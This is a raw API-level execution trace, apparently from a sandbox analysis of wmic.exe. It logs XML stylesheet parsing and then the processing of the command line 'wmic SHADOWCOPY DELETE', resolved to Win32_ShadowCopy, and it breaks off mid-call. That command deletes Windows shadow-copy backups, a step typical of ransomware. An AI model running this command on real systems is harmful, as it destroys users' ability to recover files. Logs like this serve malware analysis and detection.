IUnknown:Release (This=0x2bc9ff8) returned 0x0 [0269.894] IXMLDOMNodeList:get_item (in: This=0x2bc9ca0, index=12, listItem=0x243f768 | out: listItem=0x243f768*=0x2bc6b88) returned 0x0 [0269.894] IXMLDOMNode:get_text (in: This=0x2bc6b88, text=0x243f76c | out: text=0x243f76c*="texttable.xsl") returned 0x0 [0269.894] IXMLDOMNode:get_attributes (in: This=0x2bc6b88, attributeMap=0x243f764 | out: attributeMap=0x243f764*=0x2bc9fa8) returned 0x0 [0269.894] malloc (_Size=0xc) returned 0x278ab60 [0269.894] IXMLDOMNamedNodeMap:getNamedItem (in: This=0x2bc9fa8, name="KEYWORD", namedItem=0x243f760 | out: namedItem=0x243f760*=0x2bc9ff8) returned 0x0 [0269.894] free (_Block=0x278ab60) [0269.894] IXMLDOMNode:get_nodeValue (in: This=0x2bc9ff8, value=0x243f720 | out: value=0x243f720*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="wmiclitableformat", varVal2=0x0)) returned 0x0 [0269.894] malloc (_Size=0xc) returned 0x278aa40 [0269.894] malloc (_Size=0xc) returned 0x278ab48 [0269.894] SysStringLen (param_1="wmiclitableformat") returned 0x11 [0269.894] SysStringLen (param_1="TABLE") returned 0x5 [0269.894] SysStringLen (param_1="wmiclitableformat") returned 0x11 [0269.894] SysStringLen (param_1="XML") returned 0x3 [0269.894] SysStringLen (param_1="wmiclitableformat") returned 0x11 [0269.894] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0269.894] SysStringLen (param_1="wmiclitableformat") returned 0x11 [0269.894] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0269.894] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0269.895] SysStringLen (param_1="wmiclitableformat") returned 0x11 [0269.895] malloc (_Size=0x18) returned 0x2782950 [0269.895] IUnknown:Release (This=0x2bc6b88) returned 0x0 [0269.895] IUnknown:Release (This=0x2bc9fa8) returned 0x0 [0269.895] IUnknown:Release (This=0x2bc9ff8) returned 0x0 [0269.895] IXMLDOMNodeList:get_item (in: This=0x2bc9ca0, index=13, listItem=0x243f768 | out: listItem=0x243f768*=0x2bc6b88) returned 0x0 [0269.895] IXMLDOMNode:get_text (in: This=0x2bc6b88, text=0x243f76c | out: text=0x243f76c*="texttable.xsl") returned 0x0 [0269.895] IXMLDOMNode:get_attributes (in: This=0x2bc6b88, attributeMap=0x243f764 | out: attributeMap=0x243f764*=0x2bc9fa8) returned 0x0 [0269.895] malloc (_Size=0xc) returned 0x278aad0 [0269.895] IXMLDOMNamedNodeMap:getNamedItem (in: This=0x2bc9fa8, name="KEYWORD", namedItem=0x243f760 | out: namedItem=0x243f760*=0x2bc9ff8) returned 0x0 [0269.895] free (_Block=0x278aad0) [0269.895] IXMLDOMNode:get_nodeValue (in: This=0x2bc9ff8, value=0x243f720 | out: value=0x243f720*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="wmiclitableformatnosys.xsl", varVal2=0x0)) returned 0x0 [0269.895] malloc (_Size=0xc) returned 0x278aaa0 [0269.895] malloc (_Size=0xc) returned 0x278a920 [0269.895] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a [0269.895] SysStringLen (param_1="TABLE") returned 0x5 [0269.896] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a [0269.896] SysStringLen (param_1="XML") returned 0x3 [0269.896] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a [0269.896] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0269.896] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a [0269.896] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0269.896] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0269.896] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a [0269.896] malloc (_Size=0x18) returned 0x2782a50 [0269.896] IUnknown:Release (This=0x2bc6b88) returned 0x0 [0269.896] IUnknown:Release (This=0x2bc9fa8) returned 0x0 [0269.896] IUnknown:Release (This=0x2bc9ff8) returned 0x0 [0269.896] IXMLDOMNodeList:get_item (in: This=0x2bc9ca0, index=14, listItem=0x243f768 | out: listItem=0x243f768*=0x2bc6b88) returned 0x0 [0269.896] IXMLDOMNode:get_text (in: This=0x2bc6b88, text=0x243f76c | out: text=0x243f76c*="texttable.xsl") returned 0x0 [0269.896] IXMLDOMNode:get_attributes (in: This=0x2bc6b88, attributeMap=0x243f764 | out: attributeMap=0x243f764*=0x2bc9fa8) returned 0x0 [0269.896] malloc (_Size=0xc) returned 0x278a968 [0269.896] IXMLDOMNamedNodeMap:getNamedItem (in: This=0x2bc9fa8, name="KEYWORD", namedItem=0x243f760 | out: namedItem=0x243f760*=0x2bc9ff8) returned 0x0 [0269.896] free (_Block=0x278a968) [0269.897] IXMLDOMNode:get_nodeValue (in: This=0x2bc9ff8, value=0x243f720 | out: value=0x243f720*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="wmiclitableformatnosys", varVal2=0x0)) returned 0x0 [0269.897] malloc (_Size=0xc) returned 0x278a998 [0269.897] malloc (_Size=0xc) returned 0x278a908 [0269.897] SysStringLen (param_1="wmiclitableformatnosys") returned 0x16 [0269.897] SysStringLen (param_1="TABLE") returned 0x5 [0269.897] SysStringLen (param_1="wmiclitableformatnosys") returned 0x16 [0269.897] SysStringLen (param_1="XML") returned 0x3 [0269.897] SysStringLen (param_1="wmiclitableformatnosys") returned 0x16 [0269.897] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0269.897] SysStringLen (param_1="wmiclitableformatnosys") returned 0x16 [0269.897] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0269.897] SysStringLen (param_1="wmiclitableformatnosys") returned 0x16 [0269.897] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a [0269.897] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0269.897] SysStringLen (param_1="wmiclitableformatnosys") returned 0x16 [0269.897] malloc (_Size=0x18) returned 0x2782c10 [0269.897] IUnknown:Release (This=0x2bc6b88) returned 0x0 [0269.897] IUnknown:Release (This=0x2bc9fa8) returned 0x0 [0269.897] IUnknown:Release (This=0x2bc9ff8) returned 0x0 [0269.897] IXMLDOMNodeList:get_item (in: This=0x2bc9ca0, index=15, listItem=0x243f768 | out: listItem=0x243f768*=0x2bc6b88) returned 0x0 [0269.897] IXMLDOMNode:get_text (in: This=0x2bc6b88, text=0x243f76c | out: text=0x243f76c*="htable.xsl") returned 0x0 [0269.898] IXMLDOMNode:get_attributes (in: This=0x2bc6b88, attributeMap=0x243f764 | out: attributeMap=0x243f764*=0x2bc9fa8) returned 0x0 [0269.898] malloc (_Size=0xc) returned 0x278ab18 [0269.898] IXMLDOMNamedNodeMap:getNamedItem (in: This=0x2bc9fa8, name="KEYWORD", namedItem=0x243f760 | out: namedItem=0x243f760*=0x2bc9ff8) returned 0x0 [0269.898] free (_Block=0x278ab18) [0269.898] IXMLDOMNode:get_nodeValue (in: This=0x2bc9ff8, value=0x243f720 | out: value=0x243f720*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="htable-sortby.xsl", varVal2=0x0)) returned 0x0 [0269.898] malloc (_Size=0xc) returned 0x278aa70 [0269.898] malloc (_Size=0xc) returned 0x278ab60 [0269.898] SysStringLen (param_1="htable-sortby.xsl") returned 0x11 [0269.898] SysStringLen (param_1="TABLE") returned 0x5 [0269.898] SysStringLen (param_1="htable-sortby.xsl") returned 0x11 [0269.898] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0269.898] SysStringLen (param_1="htable-sortby.xsl") returned 0x11 [0269.898] SysStringLen (param_1="XML") returned 0x3 [0269.898] SysStringLen (param_1="htable-sortby.xsl") returned 0x11 [0269.898] SysStringLen (param_1="texttablewsys") returned 0xd [0269.898] SysStringLen (param_1="XML") returned 0x3 [0269.898] SysStringLen (param_1="htable-sortby.xsl") returned 0x11 [0269.898] malloc (_Size=0x18) returned 0x2782c50 [0269.898] IUnknown:Release (This=0x2bc6b88) returned 0x0 [0269.898] IUnknown:Release (This=0x2bc9fa8) returned 0x0 [0269.899] IUnknown:Release (This=0x2bc9ff8) returned 0x0 [0269.899] IXMLDOMNodeList:get_item (in: This=0x2bc9ca0, index=16, listItem=0x243f768 | out: listItem=0x243f768*=0x2bc6b88) returned 0x0 [0269.899] IXMLDOMNode:get_text (in: This=0x2bc6b88, text=0x243f76c | out: text=0x243f76c*="htable.xsl") returned 0x0 [0269.899] IXMLDOMNode:get_attributes (in: This=0x2bc6b88, attributeMap=0x243f764 | out: attributeMap=0x243f764*=0x2bc9fa8) returned 0x0 [0269.899] malloc (_Size=0xc) returned 0x278aad0 [0269.899] IXMLDOMNamedNodeMap:getNamedItem (in: This=0x2bc9fa8, name="KEYWORD", namedItem=0x243f760 | out: namedItem=0x243f760*=0x2bc9ff8) returned 0x0 [0269.899] free (_Block=0x278aad0) [0269.899] IXMLDOMNode:get_nodeValue (in: This=0x2bc9ff8, value=0x243f720 | out: value=0x243f720*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="htable-sortby", varVal2=0x0)) returned 0x0 [0269.899] malloc (_Size=0xc) returned 0x278aab8 [0269.899] malloc (_Size=0xc) returned 0x278ab90 [0269.899] SysStringLen (param_1="htable-sortby") returned 0xd [0269.899] SysStringLen (param_1="TABLE") returned 0x5 [0269.899] SysStringLen (param_1="htable-sortby") returned 0xd [0269.899] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0269.899] SysStringLen (param_1="htable-sortby") returned 0xd [0269.899] SysStringLen (param_1="XML") returned 0x3 [0269.899] SysStringLen (param_1="htable-sortby") returned 0xd [0269.900] SysStringLen (param_1="texttablewsys") returned 0xd [0269.900] SysStringLen (param_1="htable-sortby") returned 0xd [0269.900] SysStringLen (param_1="htable-sortby.xsl") returned 0x11 [0269.900] SysStringLen (param_1="XML") returned 0x3 [0269.900] SysStringLen (param_1="htable-sortby") returned 0xd [0269.900] malloc (_Size=0x18) returned 0x27828b0 [0269.900] IUnknown:Release (This=0x2bc6b88) returned 0x0 [0269.900] IUnknown:Release (This=0x2bc9fa8) returned 0x0 [0269.900] IUnknown:Release (This=0x2bc9ff8) returned 0x0 [0269.900] IXMLDOMNodeList:get_item (in: This=0x2bc9ca0, index=17, listItem=0x243f768 | out: listItem=0x243f768*=0x2bc6b88) returned 0x0 [0269.900] IXMLDOMNode:get_text (in: This=0x2bc6b88, text=0x243f76c | out: text=0x243f76c*="mof.xsl") returned 0x0 [0269.900] IXMLDOMNode:get_attributes (in: This=0x2bc6b88, attributeMap=0x243f764 | out: attributeMap=0x243f764*=0x2bc9fa8) returned 0x0 [0269.900] malloc (_Size=0xc) returned 0x278aa58 [0269.900] IXMLDOMNamedNodeMap:getNamedItem (in: This=0x2bc9fa8, name="KEYWORD", namedItem=0x243f760 | out: namedItem=0x243f760*=0x2bc9ff8) returned 0x0 [0269.900] free (_Block=0x278aa58) [0269.900] IXMLDOMNode:get_nodeValue (in: This=0x2bc9ff8, value=0x243f720 | out: value=0x243f720*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="wmiclimofformat.xsl", varVal2=0x0)) returned 0x0 [0269.901] malloc (_Size=0xc) returned 0x278aba8 [0269.901] malloc (_Size=0xc) returned 0x278abc0 [0269.901] SysStringLen (param_1="wmiclimofformat.xsl") returned 0x13 [0269.901] SysStringLen (param_1="TABLE") returned 0x5 [0269.901] SysStringLen (param_1="wmiclimofformat.xsl") returned 0x13 [0269.901] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0269.901] SysStringLen (param_1="wmiclimofformat.xsl") returned 0x13 [0269.901] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0269.901] SysStringLen (param_1="wmiclimofformat.xsl") returned 0x13 [0270.067] SysStringLen (param_1="wmiclitableformat") returned 0x11 [0270.067] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0270.067] SysStringLen (param_1="wmiclimofformat.xsl") returned 0x13 [0270.067] malloc (_Size=0x18) returned 0x2782b50 [0270.067] IUnknown:Release (This=0x2bc6b88) returned 0x0 [0270.067] IUnknown:Release (This=0x2bc9fa8) returned 0x0 [0270.067] IUnknown:Release (This=0x2bc9ff8) returned 0x0 [0270.068] IXMLDOMNodeList:get_item (in: This=0x2bc9ca0, index=18, listItem=0x243f768 | out: listItem=0x243f768*=0x2bc6b88) returned 0x0 [0270.068] IXMLDOMNode:get_text (in: This=0x2bc6b88, text=0x243f76c | out: text=0x243f76c*="mof.xsl") returned 0x0 [0270.068] IXMLDOMNode:get_attributes (in: This=0x2bc6b88, attributeMap=0x243f764 | out: attributeMap=0x243f764*=0x2bc9fa8) returned 0x0 [0270.068] malloc (_Size=0xc) returned 0x278a9f8 [0270.068] IXMLDOMNamedNodeMap:getNamedItem (in: This=0x2bc9fa8, name="KEYWORD", namedItem=0x243f760 | out: namedItem=0x243f760*=0x2bc9ff8) returned 0x0 [0270.068] free (_Block=0x278a9f8) [0270.068] IXMLDOMNode:get_nodeValue (in: This=0x2bc9ff8, value=0x243f720 | out: value=0x243f720*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="wmiclimofformat", varVal2=0x0)) returned 0x0 [0270.068] malloc (_Size=0xc) returned 0x278a9b0 [0270.068] malloc (_Size=0xc) returned 0x278abd8 [0270.068] SysStringLen (param_1="wmiclimofformat") returned 0xf [0270.069] SysStringLen (param_1="TABLE") returned 0x5 [0270.069] SysStringLen (param_1="wmiclimofformat") returned 0xf [0270.069] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0270.069] SysStringLen (param_1="wmiclimofformat") returned 0xf [0270.069] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0270.069] SysStringLen (param_1="wmiclimofformat") returned 0xf [0270.069] SysStringLen (param_1="wmiclitableformat") returned 0x11 [0270.069] SysStringLen (param_1="wmiclimofformat") returned 0xf [0270.069] SysStringLen (param_1="wmiclimofformat.xsl") returned 0x13 [0270.069] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0270.069] SysStringLen (param_1="wmiclimofformat") returned 0xf [0270.069] malloc (_Size=0x18) returned 0x2782bf0 [0270.069] IUnknown:Release (This=0x2bc6b88) returned 0x0 [0270.069] IUnknown:Release (This=0x2bc9fa8) returned 0x0 [0270.069] IUnknown:Release (This=0x2bc9ff8) returned 0x0 [0270.069] IXMLDOMNodeList:get_item (in: This=0x2bc9ca0, index=19, listItem=0x243f768 | out: listItem=0x243f768*=0x2bc6b88) returned 0x0 [0270.069] IXMLDOMNode:get_text (in: This=0x2bc6b88, text=0x243f76c | out: text=0x243f76c*="textvaluelist.xsl") returned 0x0 [0270.069] IXMLDOMNode:get_attributes (in: This=0x2bc6b88, attributeMap=0x243f764 | out: attributeMap=0x243f764*=0x2bc9fa8) returned 0x0 [0270.069] malloc (_Size=0xc) returned 0x278abf0 [0270.069] IXMLDOMNamedNodeMap:getNamedItem (in: This=0x2bc9fa8, name="KEYWORD", namedItem=0x243f760 | out: namedItem=0x243f760*=0x2bc9ff8) returned 0x0 [0270.070] free (_Block=0x278abf0) [0270.070] IXMLDOMNode:get_nodeValue (in: This=0x2bc9ff8, value=0x243f720 | out: value=0x243f720*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="wmiclivalueformat.xsl", varVal2=0x0)) returned 0x0 [0270.070] malloc (_Size=0xc) returned 0x278a950 [0270.070] malloc (_Size=0xc) returned 0x278abf0 [0270.070] SysStringLen (param_1="wmiclivalueformat.xsl") returned 0x15 [0270.070] SysStringLen (param_1="TABLE") returned 0x5 [0270.070] SysStringLen (param_1="wmiclivalueformat.xsl") returned 0x15 [0270.070] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0270.070] SysStringLen (param_1="wmiclivalueformat.xsl") returned 0x15 [0270.070] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0270.070] SysStringLen (param_1="wmiclivalueformat.xsl") returned 0x15 [0270.070] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a [0270.070] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a [0270.070] SysStringLen (param_1="wmiclivalueformat.xsl") returned 0x15 [0270.070] malloc (_Size=0x18) returned 0x2782990 [0270.070] IUnknown:Release (This=0x2bc6b88) returned 0x0 [0270.070] IUnknown:Release (This=0x2bc9fa8) returned 0x0 [0270.070] IUnknown:Release (This=0x2bc9ff8) returned 0x0 [0270.073] IXMLDOMNodeList:get_item (in: This=0x2bc9ca0, index=20, listItem=0x243f768 | out: listItem=0x243f768*=0x2bc6b88) returned 0x0 [0270.073] IXMLDOMNode:get_text (in: This=0x2bc6b88, text=0x243f76c | out: text=0x243f76c*="textvaluelist.xsl") returned 0x0 [0270.073] IXMLDOMNode:get_attributes (in: This=0x2bc6b88, attributeMap=0x243f764 | out: attributeMap=0x243f764*=0x2bc9fa8) returned 0x0 [0270.073] malloc (_Size=0xc) returned 0x278a968 [0270.073] IXMLDOMNamedNodeMap:getNamedItem (in: This=0x2bc9fa8, name="KEYWORD", namedItem=0x243f760 | out: namedItem=0x243f760*=0x2bc9ff8) returned 0x0 [0270.074] free (_Block=0x278a968) [0270.074] IXMLDOMNode:get_nodeValue (in: This=0x2bc9ff8, value=0x243f720 | out: value=0x243f720*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="wmiclivalueformat", varVal2=0x0)) returned 0x0 [0270.074] malloc (_Size=0xc) returned 0x278a968 [0270.074] malloc (_Size=0xc) returned 0x278aa10 [0270.074] SysStringLen (param_1="wmiclivalueformat") returned 0x11 [0270.074] SysStringLen (param_1="TABLE") returned 0x5 [0270.074] SysStringLen (param_1="wmiclivalueformat") returned 0x11 [0270.074] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0270.074] SysStringLen (param_1="wmiclivalueformat") returned 0x11 [0270.074] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0270.074] SysStringLen (param_1="wmiclivalueformat") returned 0x11 [0270.074] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a [0270.074] SysStringLen (param_1="wmiclivalueformat") returned 0x11 [0270.074] SysStringLen (param_1="wmiclivalueformat.xsl") returned 0x15 [0270.074] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a [0270.074] SysStringLen (param_1="wmiclivalueformat") returned 0x11 [0270.074] malloc (_Size=0x18) returned 0x27829b0 [0270.074] IUnknown:Release (This=0x2bc6b88) returned 0x0 [0270.074] IUnknown:Release (This=0x2bc9fa8) returned 0x0 [0270.074] IUnknown:Release (This=0x2bc9ff8) returned 0x0 [0270.074] IUnknown:Release (This=0x2bc9ca0) returned 0x0 [0270.075] FreeThreadedDOMDocument:IUnknown:Release (This=0x2bc6b48) returned 0x1 [0270.075] FreeThreadedDOMDocument:IUnknown:Release (This=0x2bc45a8) returned 0x0 [0270.075] free (_Block=0x27896f8) [0270.075] GetCommandLineW () returned="wmic SHADOWCOPY DELETE" [0270.075] malloc (_Size=0x30) returned 0x2780568 [0270.075] memcpy_s (in: _Destination=0x2780568, _DestinationSize=0x2e, _Source=0x24e1af8, _SourceSize=0x2e | out: _Destination=0x2780568) returned 0x0 [0270.075] malloc (_Size=0xc) returned 0x278a9f8 [0270.075] malloc (_Size=0xc) returned 0x278a980 [0270.075] malloc (_Size=0xc) returned 0x278a9c8 [0270.075] malloc (_Size=0xc) returned 0x278ab00 [0270.075] malloc (_Size=0x80) returned 0x278ace0 [0270.075] GetLocalTime (in: lpSystemTime=0x243f704 | out: lpSystemTime=0x243f704*(wYear=0x7e3, wMonth=0x4, wDayOfWeek=0x5, wDay=0xc, wHour=0xb, wMinute=0x12, wSecond=0x2f, wMilliseconds=0x23)) [0270.075] _vsnwprintf (in: _Buffer=0x278ace0, _BufferCount=0x3f, _Format="%.2d-%.2d-%.4dT%.2d:%.2d:%.2d", _ArgList=0x243f6e4 | out: _Buffer="04-12-2019T11:18:47") returned 19 [0270.075] lstrlenW (lpString=" SHADOWCOPY DELETE") returned 19 [0270.075] malloc (_Size=0x28) returned 0x278ad68 [0270.075] lstrlenW (lpString=" SHADOWCOPY DELETE") returned 19 [0270.075] lstrlenW (lpString=" SHADOWCOPY DELETE") returned 19 [0270.075] malloc (_Size=0x28) returned 0x278ad98 [0270.075] lstrlenW (lpString=" SHADOWCOPY DELETE") returned 19 [0270.075] lstrlenW (lpString=" SHADOWCOPY DELETE") returned 19 [0270.075] lstrlenW (lpString=" SHADOWCOPY DELETE") returned 19 [0270.076] malloc (_Size=0x16) returned 0x27829d0 [0270.076] lstrlenW (lpString="SHADOWCOPY") returned 10 [0270.076] _wcsicmp (_String1="SHADOWCOPY", _String2="\"NULL\"") returned 81 [0270.076] malloc (_Size=0x16) returned 0x2782ab0 [0270.076] malloc (_Size=0x4) returned 0x278adc8 [0270.076] free (_Block=0x0) [0270.076] free (_Block=0x27829d0) [0270.076] lstrlenW (lpString=" SHADOWCOPY DELETE") returned 19 [0270.076] malloc (_Size=0xe) returned 0x278a938 [0270.076] lstrlenW (lpString="DELETE") returned 6 [0270.076] _wcsicmp (_String1="DELETE", _String2="\"NULL\"") returned 66 [0270.076] malloc (_Size=0xe) returned 0x278aa58 [0270.076] malloc (_Size=0x8) returned 0x278add8 [0270.076] memmove_s (in: _Destination=0x278add8, _DestinationSize=0x4, _Source=0x278adc8, _SourceSize=0x4 | out: _Destination=0x278add8) returned 0x0 [0270.076] free (_Block=0x278adc8) [0270.076] free (_Block=0x0) [0270.076] free (_Block=0x278a938) [0270.076] malloc (_Size=0x8) returned 0x278adc8 [0270.076] lstrlenW (lpString="QUIT") returned 4 [0270.076] lstrlenW (lpString="SHADOWCOPY") returned 10 [0270.076] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="SHADOWCOPY", cchCount1=10, lpString2="QUIT", cchCount2=4) returned 3 [0270.076] lstrlenW (lpString="EXIT") returned 4 [0270.076] lstrlenW (lpString="SHADOWCOPY") returned 10 [0270.076] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="SHADOWCOPY", cchCount1=10, lpString2="EXIT", cchCount2=4) returned 3 [0270.076] free (_Block=0x278adc8) [0270.076] WbemLocator:IUnknown:AddRef (This=0x24f37b8) returned 0x2 [0270.076] malloc (_Size=0x8) returned 0x278adc8 [0270.076] lstrlenW (lpString="/") returned 1 [0270.077] lstrlenW (lpString="SHADOWCOPY") returned 10 [0270.077] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="SHADOWCOPY", cchCount1=10, lpString2="/", cchCount2=1) returned 3 [0270.077] lstrlenW (lpString="-") returned 1 [0270.077] lstrlenW (lpString="SHADOWCOPY") returned 10 [0270.077] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="SHADOWCOPY", cchCount1=10, lpString2="-", cchCount2=1) returned 3 [0270.077] lstrlenW (lpString="CLASS") returned 5 [0270.077] lstrlenW (lpString="SHADOWCOPY") returned 10 [0270.077] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="SHADOWCOPY", cchCount1=10, lpString2="CLASS", cchCount2=5) returned 3 [0270.077] lstrlenW (lpString="PATH") returned 4 [0270.077] lstrlenW (lpString="SHADOWCOPY") returned 10 [0270.077] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="SHADOWCOPY", cchCount1=10, lpString2="PATH", cchCount2=4) returned 3 [0270.077] lstrlenW (lpString="CONTEXT") returned 7 [0270.077] lstrlenW (lpString="SHADOWCOPY") returned 10 [0270.077] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="SHADOWCOPY", cchCount1=10, lpString2="CONTEXT", cchCount2=7) returned 3 [0270.077] lstrlenW (lpString="SHADOWCOPY") returned 10 [0270.077] malloc (_Size=0x16) returned 0x27829d0 [0270.077] lstrlenW (lpString="SHADOWCOPY") returned 10 [0270.077] GetCurrentThreadId () returned 0xd80 [0270.077] ??0CHString@@QAE@XZ () returned 0x243f65c [0270.077] malloc (_Size=0xc) returned 0x278ab18 [0270.077] malloc (_Size=0xc) returned 0x278a938 [0270.077] WbemLocator:IWbemLocator:ConnectServer (in: This=0x24f37b8, strNetworkResource="root\\cli", strUser=0x0, strPassword=0x0, strLocale="ms_409", lSecurityFlags=0, strAuthority=0x0, pCtx=0x0, ppNamespace=0x1a8540 | out: ppNamespace=0x1a8540*=0x24fac20) returned 0x0 [0277.309] free (_Block=0x278a938) [0277.309] free (_Block=0x278ab18) [0277.309] CoSetProxyBlanket (pProxy=0x24fac20, dwAuthnSvc=0xffffffff, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x0) returned 0x0 [0277.309] ??1CHString@@QAE@XZ () returned 0x710965f8 [0277.309] GetCurrentThreadId () returned 0xd80 [0277.309] ??0CHString@@QAE@XZ () returned 0x243f600 [0277.310] malloc (_Size=0xc) returned 0x278a938 [0277.310] malloc (_Size=0xc) returned 0x278aad0 [0277.310] malloc (_Size=0xc) returned 0x278ab18 [0277.310] malloc (_Size=0xc) returned 0x278ab30 [0277.310] SysStringLen (param_1="root\\cli") returned 0x8 [0277.310] SysStringLen (param_1="\\") returned 0x1 [0277.310] malloc (_Size=0xc) returned 0x278ac98 [0277.310] SysStringLen (param_1="root\\cli\\") returned 0x9 [0277.310] SysStringLen (param_1="ms_409") returned 0x6 [0277.310] free (_Block=0x278ab30) [0277.310] free (_Block=0x278ab18) [0277.310] free (_Block=0x278aad0) [0277.310] free (_Block=0x278a938) [0277.311] malloc (_Size=0xc) returned 0x278aad0 [0277.311] WbemLocator:IWbemLocator:ConnectServer (in: This=0x24f37b8, strNetworkResource="root\\cli\\ms_409", strUser=0x0, strPassword=0x0, strLocale="ms_409", lSecurityFlags=0, strAuthority=0x0, pCtx=0x0, ppNamespace=0x1a8544 | out: ppNamespace=0x1a8544*=0x252a258) returned 0x0 [0279.062] free (_Block=0x278aad0) [0279.062] free (_Block=0x278ac98) [0279.062] ??1CHString@@QAE@XZ () returned 0x710965f8 [0279.062] GetCurrentThreadId () returned 0xd80 [0279.062] ??0CHString@@QAE@XZ () returned 0x243f65c [0279.063] malloc (_Size=0xc) returned 0x278acc8 [0279.063] malloc (_Size=0xc) returned 0x278ac38 [0279.063] malloc (_Size=0xc) returned 0x278ac08 [0279.063] lstrlenA (lpString="MSFT_CliAlias.FriendlyName='") returned 28 [0279.063] malloc (_Size=0x3a) returned 0x278b558 [0279.063] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1614a8, cbMultiByte=-1, lpWideCharStr=0x278b558, cchWideChar=29 | out: lpWideCharStr="MSFT_CliAlias.FriendlyName='") returned 29 [0279.063] free (_Block=0x278b558) [0279.063] malloc (_Size=0xc) returned 0x278ac50 [0279.063] SysStringLen (param_1="MSFT_CliAlias.FriendlyName='") returned 0x1c [0279.063] SysStringLen (param_1="SHADOWCOPY") returned 0xa [0279.063] malloc (_Size=0xc) returned 0x278ac68 [0279.063] SysStringLen (param_1="MSFT_CliAlias.FriendlyName='SHADOWCOPY") returned 0x26 [0279.063] SysStringLen (param_1="'") returned 0x1 [0279.063] free (_Block=0x278ac50) [0279.063] free (_Block=0x278ac08) [0279.063] free (_Block=0x278ac38) [0279.063] free (_Block=0x278acc8) [0279.063] IWbemServices:GetObject (in: This=0x24fac20, strObjectPath="MSFT_CliAlias.FriendlyName='SHADOWCOPY'", lFlags=0, pCtx=0x0, ppObject=0x243f658*=0x0, ppCallResult=0x0 | out: ppObject=0x243f658*=0x2527d78, ppCallResult=0x0) returned 0x0 [0279.482] malloc (_Size=0xc) returned 0x278ac08 [0279.482] IWbemClassObject:Get (in: This=0x2527d78, wszName="Target", lFlags=0, pVal=0x243f630*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x0, plFlavor=0x0 | out: pVal=0x243f630*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Select * from Win32_ShadowCopy", varVal2=0x0), pType=0x0, plFlavor=0x0) returned 0x0 [0279.483] free (_Block=0x278ac08) [0279.483] lstrlenW (lpString="Select * from Win32_ShadowCopy") returned 30 [0279.483] malloc (_Size=0x3e) returned 0x278b558 [0279.483] lstrlenW (lpString="Select * from Win32_ShadowCopy") returned 30 [0279.483] malloc (_Size=0xc) returned 0x278ac98 [0279.483] IWbemClassObject:Get (in: This=0x2527d78, wszName="PWhere", lFlags=0, pVal=0x243f630*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x0, plFlavor=0x0 | out: pVal=0x243f630*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=" Where ID = '#'", varVal2=0x0), pType=0x0, plFlavor=0x0) returned 0x0 [0279.483] free (_Block=0x278ac98) [0279.483] lstrlenW (lpString=" Where ID = '#'") returned 15 [0279.483] malloc (_Size=0x20) returned 0x278b5a0 [0279.483] lstrlenW (lpString=" Where ID = '#'") returned 15 [0279.483] malloc (_Size=0xc) returned 0x278ac08 [0279.483] IWbemClassObject:Get (in: This=0x2527d78, wszName="Connection", lFlags=0, pVal=0x243f630*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x0, plFlavor=0x0 | out: 